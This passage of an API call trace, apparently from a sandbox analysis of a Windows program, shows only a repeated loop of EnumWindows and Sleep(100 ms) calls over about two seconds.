(dwMilliseconds=0x64) [0135.232] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.232] Sleep (dwMilliseconds=0x64) [0135.234] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.234] Sleep (dwMilliseconds=0x64) [0135.236] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.237] Sleep (dwMilliseconds=0x64) [0135.278] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.279] Sleep (dwMilliseconds=0x64) [0135.281] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.281] Sleep (dwMilliseconds=0x64) [0135.282] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.283] Sleep (dwMilliseconds=0x64) [0135.284] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.284] Sleep (dwMilliseconds=0x64) [0135.285] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.285] Sleep (dwMilliseconds=0x64) [0135.287] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.287] Sleep (dwMilliseconds=0x64) [0135.288] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.288] Sleep (dwMilliseconds=0x64) [0135.303] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.305] Sleep (dwMilliseconds=0x64) [0135.306] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.307] Sleep (dwMilliseconds=0x64) [0135.309] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.309] Sleep (dwMilliseconds=0x64) [0135.311] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.311] Sleep (dwMilliseconds=0x64) [0135.433] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.434] Sleep (dwMilliseconds=0x64) [0135.435] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.436] Sleep (dwMilliseconds=0x64) [0135.438] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.439] Sleep (dwMilliseconds=0x64) [0135.440] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.441] Sleep (dwMilliseconds=0x64) [0135.442] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.442] Sleep (dwMilliseconds=0x64) [0135.491] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.492] Sleep (dwMilliseconds=0x64) [0135.493] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.493] Sleep (dwMilliseconds=0x64) [0135.505] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.506] Sleep (dwMilliseconds=0x64) [0135.507] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.508] Sleep (dwMilliseconds=0x64) [0135.509] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.510] Sleep (dwMilliseconds=0x64) [0135.511] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.511] Sleep (dwMilliseconds=0x64) [0135.512] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.513] Sleep (dwMilliseconds=0x64) [0135.572] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.573] Sleep (dwMilliseconds=0x64) [0135.667] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.667] Sleep (dwMilliseconds=0x64) [0135.669] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.669] Sleep (dwMilliseconds=0x64) [0135.672] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.672] Sleep (dwMilliseconds=0x64) [0135.673] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.674] Sleep (dwMilliseconds=0x64) [0135.675] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.675] Sleep (dwMilliseconds=0x64) [0135.677] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.677] Sleep (dwMilliseconds=0x64) [0135.678] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.678] Sleep (dwMilliseconds=0x64) [0135.680] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.680] Sleep (dwMilliseconds=0x64) [0135.681] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.681] Sleep (dwMilliseconds=0x64) [0135.684] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.684] Sleep (dwMilliseconds=0x64) [0135.700] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.701] Sleep (dwMilliseconds=0x64) [0135.782] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.782] Sleep (dwMilliseconds=0x64) [0135.784] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.784] Sleep (dwMilliseconds=0x64) [0135.786] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.786] Sleep (dwMilliseconds=0x64) [0135.789] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.789] Sleep (dwMilliseconds=0x64) [0135.791] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.791] Sleep (dwMilliseconds=0x64) [0135.793] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.793] Sleep (dwMilliseconds=0x64) [0135.795] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.795] Sleep (dwMilliseconds=0x64) [0135.796] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.796] Sleep (dwMilliseconds=0x64) [0135.798] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.798] Sleep (dwMilliseconds=0x64) [0135.801] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.801] Sleep (dwMilliseconds=0x64) [0135.802] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.802] Sleep (dwMilliseconds=0x64) [0135.804] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.804] Sleep (dwMilliseconds=0x64) [0135.806] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.806] Sleep (dwMilliseconds=0x64) [0135.808] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.808] Sleep (dwMilliseconds=0x64) [0135.809] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.809] Sleep (dwMilliseconds=0x64) [0135.811] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.811] Sleep (dwMilliseconds=0x64) [0135.813] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.813] Sleep (dwMilliseconds=0x64) [0135.815] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.815] Sleep (dwMilliseconds=0x64) [0135.817] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.817] Sleep (dwMilliseconds=0x64) [0135.819] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.819] Sleep (dwMilliseconds=0x64) [0135.820] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.820] Sleep (dwMilliseconds=0x64) [0135.822] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.822] Sleep (dwMilliseconds=0x64) [0135.823] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.823] Sleep (dwMilliseconds=0x64) [0135.825] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.825] Sleep (dwMilliseconds=0x64) [0135.828] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.828] Sleep (dwMilliseconds=0x64) [0135.829] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.830] Sleep (dwMilliseconds=0x64) [0135.831] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.831] Sleep (dwMilliseconds=0x64) [0135.833] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.833] Sleep (dwMilliseconds=0x64) [0135.835] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.835] Sleep (dwMilliseconds=0x64) [0135.837] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.838] Sleep (dwMilliseconds=0x64) [0135.841] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.841] Sleep (dwMilliseconds=0x64) [0135.845] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.845] Sleep (dwMilliseconds=0x64) [0135.846] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.846] Sleep (dwMilliseconds=0x64) [0135.848] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.848] Sleep (dwMilliseconds=0x64) [0135.850] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.850] Sleep (dwMilliseconds=0x64) [0135.851] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.851] Sleep (dwMilliseconds=0x64) [0135.853] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.854] Sleep (dwMilliseconds=0x64) [0135.858] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.858] Sleep (dwMilliseconds=0x64) [0135.860] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.860] Sleep (dwMilliseconds=0x64) [0135.861] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.861] Sleep (dwMilliseconds=0x64) [0135.863] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.864] Sleep (dwMilliseconds=0x64) [0135.866] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.866] Sleep (dwMilliseconds=0x64) [0135.868] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.868] Sleep (dwMilliseconds=0x64) [0135.870] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.870] Sleep (dwMilliseconds=0x64) [0135.872] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.872] Sleep (dwMilliseconds=0x64) [0135.942] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.942] Sleep (dwMilliseconds=0x64) [0135.944] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.945] Sleep (dwMilliseconds=0x64) [0135.946] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.946] Sleep (dwMilliseconds=0x64) [0135.948] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.948] Sleep (dwMilliseconds=0x64) [0135.950] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.950] Sleep (dwMilliseconds=0x64) [0135.952] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.952] Sleep (dwMilliseconds=0x64) [0135.953] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.953] Sleep (dwMilliseconds=0x64) [0135.955] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.955] Sleep (dwMilliseconds=0x64) [0135.956] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.956] Sleep (dwMilliseconds=0x64) [0135.958] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.958] Sleep (dwMilliseconds=0x64) [0135.960] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.960] Sleep (dwMilliseconds=0x64) [0135.961] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.961] Sleep (dwMilliseconds=0x64) [0135.963] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.963] Sleep (dwMilliseconds=0x64) [0135.965] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.965] Sleep (dwMilliseconds=0x64) [0135.967] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.967] Sleep (dwMilliseconds=0x64) [0135.968] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.968] Sleep (dwMilliseconds=0x64) [0135.970] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.970] Sleep (dwMilliseconds=0x64) [0135.972] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.972] Sleep (dwMilliseconds=0x64) [0135.999] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.999] Sleep (dwMilliseconds=0x64) [0136.000] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.000] Sleep (dwMilliseconds=0x64) [0136.002] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.002] Sleep (dwMilliseconds=0x64) [0136.003] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.003] Sleep (dwMilliseconds=0x64) [0136.005] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.005] Sleep (dwMilliseconds=0x64) [0136.007] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.007] Sleep (dwMilliseconds=0x64) [0136.010] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.010] Sleep (dwMilliseconds=0x64) [0136.012] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.012] Sleep (dwMilliseconds=0x64) [0136.014] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.014] Sleep (dwMilliseconds=0x64) [0136.015] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.015] Sleep (dwMilliseconds=0x64) [0136.091] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.092] Sleep (dwMilliseconds=0x64) [0136.093] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.093] Sleep (dwMilliseconds=0x64) [0136.095] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.095] Sleep (dwMilliseconds=0x64) [0136.097] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.097] Sleep (dwMilliseconds=0x64) [0136.098] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.098] Sleep (dwMilliseconds=0x64) [0136.165] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.166] Sleep (dwMilliseconds=0x64) [0136.182] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.183] Sleep (dwMilliseconds=0x64) [0136.184] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.185] Sleep (dwMilliseconds=0x64) [0136.186] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.186] Sleep (dwMilliseconds=0x64) [0136.189] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.189] Sleep (dwMilliseconds=0x64) [0136.190] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.190] Sleep (dwMilliseconds=0x64) [0136.192] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.192] Sleep (dwMilliseconds=0x64) [0136.193] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.193] Sleep (dwMilliseconds=0x64) [0136.195] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.195] Sleep (dwMilliseconds=0x64) [0136.220] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.220] Sleep (dwMilliseconds=0x64) [0136.305] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.306] Sleep (dwMilliseconds=0x64) [0136.307] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.307] Sleep (dwMilliseconds=0x64) [0136.309] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.309] Sleep (dwMilliseconds=0x64) [0136.310] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.311] Sleep (dwMilliseconds=0x64) [0136.312] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.312] Sleep (dwMilliseconds=0x64) [0136.313] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.314] Sleep (dwMilliseconds=0x64) [0136.315] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.315] Sleep (dwMilliseconds=0x64) [0136.317] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.317] Sleep (dwMilliseconds=0x64) [0136.319] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.320] Sleep (dwMilliseconds=0x64) [0136.424] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.424] Sleep (dwMilliseconds=0x64) [0136.426] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.426] Sleep (dwMilliseconds=0x64) [0136.454] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.456] Sleep (dwMilliseconds=0x64) [0136.460] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.461] Sleep (dwMilliseconds=0x64) [0136.462] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.462] Sleep (dwMilliseconds=0x64) [0136.464] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.464] Sleep (dwMilliseconds=0x64) [0136.466] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.467] Sleep (dwMilliseconds=0x64) [0136.470] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.470] Sleep (dwMilliseconds=0x64) [0136.472] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.472] Sleep (dwMilliseconds=0x64) [0136.475] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.475] Sleep (dwMilliseconds=0x64) [0136.477] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.477] Sleep (dwMilliseconds=0x64) [0136.478] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.478] Sleep (dwMilliseconds=0x64) [0136.480] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.480] Sleep (dwMilliseconds=0x64) [0136.482] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.482] Sleep (dwMilliseconds=0x64) [0136.484] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.484] Sleep (dwMilliseconds=0x64) [0136.486] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.486] Sleep (dwMilliseconds=0x64) [0136.488] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.488] Sleep (dwMilliseconds=0x64) [0136.492] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.492] Sleep (dwMilliseconds=0x64) [0136.493] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.493] Sleep (dwMilliseconds=0x64) [0136.495] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.495] Sleep (dwMilliseconds=0x64) [0136.496] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.496] Sleep (dwMilliseconds=0x64) [0136.507] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.507] Sleep (dwMilliseconds=0x64) [0136.509] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.509] Sleep (dwMilliseconds=0x64) [0136.510] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.511] Sleep (dwMilliseconds=0x64) [0136.512] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.512] Sleep (dwMilliseconds=0x64) [0136.514] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.514] Sleep (dwMilliseconds=0x64) [0136.515] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.515] Sleep (dwMilliseconds=0x64) [0136.516] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.517] Sleep (dwMilliseconds=0x64) [0136.518] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.518] Sleep (dwMilliseconds=0x64) [0136.520] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.520] Sleep (dwMilliseconds=0x64) [0136.522] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.522] Sleep (dwMilliseconds=0x64) [0136.524] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.524] Sleep (dwMilliseconds=0x64) [0136.526] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.526] Sleep (dwMilliseconds=0x64) [0136.527] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.527] Sleep (dwMilliseconds=0x64) [0136.529] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.529] Sleep (dwMilliseconds=0x64) [0136.530] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.531] Sleep (dwMilliseconds=0x64) [0136.532] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.533] Sleep (dwMilliseconds=0x64) [0136.534] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.534] Sleep (dwMilliseconds=0x64) [0136.537] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.537] Sleep (dwMilliseconds=0x64) [0136.538] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.538] Sleep (dwMilliseconds=0x64) [0136.541] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.541] Sleep (dwMilliseconds=0x64) [0136.543] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.544] Sleep (dwMilliseconds=0x64) [0136.546] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.546] Sleep (dwMilliseconds=0x64) [0136.548] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.548] Sleep (dwMilliseconds=0x64) [0136.550] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.550] Sleep (dwMilliseconds=0x64) [0136.552] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.553] Sleep (dwMilliseconds=0x64) [0136.636] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.637] Sleep (dwMilliseconds=0x64) [0136.638] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.638] Sleep (dwMilliseconds=0x64) [0136.640] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.640] Sleep (dwMilliseconds=0x64) [0136.642] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.642] Sleep (dwMilliseconds=0x64) [0136.644] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.644] Sleep (dwMilliseconds=0x64) [0136.646] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.646] Sleep (dwMilliseconds=0x64) [0136.648] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.648] Sleep (dwMilliseconds=0x64) [0136.650] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.650] Sleep (dwMilliseconds=0x64) [0136.660] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.660] Sleep (dwMilliseconds=0x64) [0136.662] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.662] Sleep (dwMilliseconds=0x64) [0136.664] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.664] Sleep (dwMilliseconds=0x64) [0136.665] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.665] Sleep (dwMilliseconds=0x64) [0136.668] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.668] Sleep (dwMilliseconds=0x64) [0136.669] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.669] Sleep (dwMilliseconds=0x64) [0136.671] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.671] Sleep (dwMilliseconds=0x64) [0136.673] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.673] Sleep (dwMilliseconds=0x64) [0136.674] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.674] Sleep (dwMilliseconds=0x64) [0136.676] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.676] Sleep (dwMilliseconds=0x64) [0136.678] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.678] Sleep (dwMilliseconds=0x64) [0136.679] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.679] Sleep (dwMilliseconds=0x64) [0136.681] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.681] Sleep (dwMilliseconds=0x64) [0136.682] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.682] Sleep (dwMilliseconds=0x64) [0136.684] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.684] Sleep (dwMilliseconds=0x64) [0136.686] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.686] Sleep (dwMilliseconds=0x64) [0136.688] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.688] Sleep (dwMilliseconds=0x64) [0136.691] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.691] Sleep (dwMilliseconds=0x64) [0136.693] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.693] Sleep (dwMilliseconds=0x64) [0136.819] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.819] Sleep (dwMilliseconds=0x64) [0136.856] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.856] Sleep (dwMilliseconds=0x64) [0136.976] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0136.976] Sleep (dwMilliseconds=0x64) [0137.035] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.035] Sleep (dwMilliseconds=0x64) [0137.072] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.072] Sleep (dwMilliseconds=0x64) [0137.074] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.074] Sleep (dwMilliseconds=0x64) [0137.078] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.079] Sleep (dwMilliseconds=0x64) [0137.080] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.080] Sleep (dwMilliseconds=0x64) [0137.082] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.082] Sleep (dwMilliseconds=0x64) [0137.084] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.084] Sleep (dwMilliseconds=0x64) [0137.086] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.086] Sleep (dwMilliseconds=0x64) [0137.087] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.087] Sleep (dwMilliseconds=0x64) [0137.092] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.093] Sleep (dwMilliseconds=0x64) [0137.094] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.094] Sleep (dwMilliseconds=0x64) [0137.096] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.096] Sleep (dwMilliseconds=0x64) [0137.097] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.097] Sleep (dwMilliseconds=0x64) [0137.101] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.101] Sleep (dwMilliseconds=0x64) [0137.103] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.103] Sleep (dwMilliseconds=0x64) [0137.104] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.104] Sleep (dwMilliseconds=0x64) [0137.106] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.106] Sleep (dwMilliseconds=0x64) [0137.107] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.107] Sleep (dwMilliseconds=0x64) [0137.111] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.111] Sleep (dwMilliseconds=0x64) [0137.113] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.113] Sleep (dwMilliseconds=0x64) [0137.114] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.114] Sleep (dwMilliseconds=0x64) [0137.116] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.116] Sleep (dwMilliseconds=0x64) [0137.117] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.117] Sleep (dwMilliseconds=0x64) [0137.119] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.119] Sleep (dwMilliseconds=0x64) [0137.120] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.120] Sleep (dwMilliseconds=0x64) [0137.122] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.122] Sleep (dwMilliseconds=0x64) [0137.124] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.124] Sleep 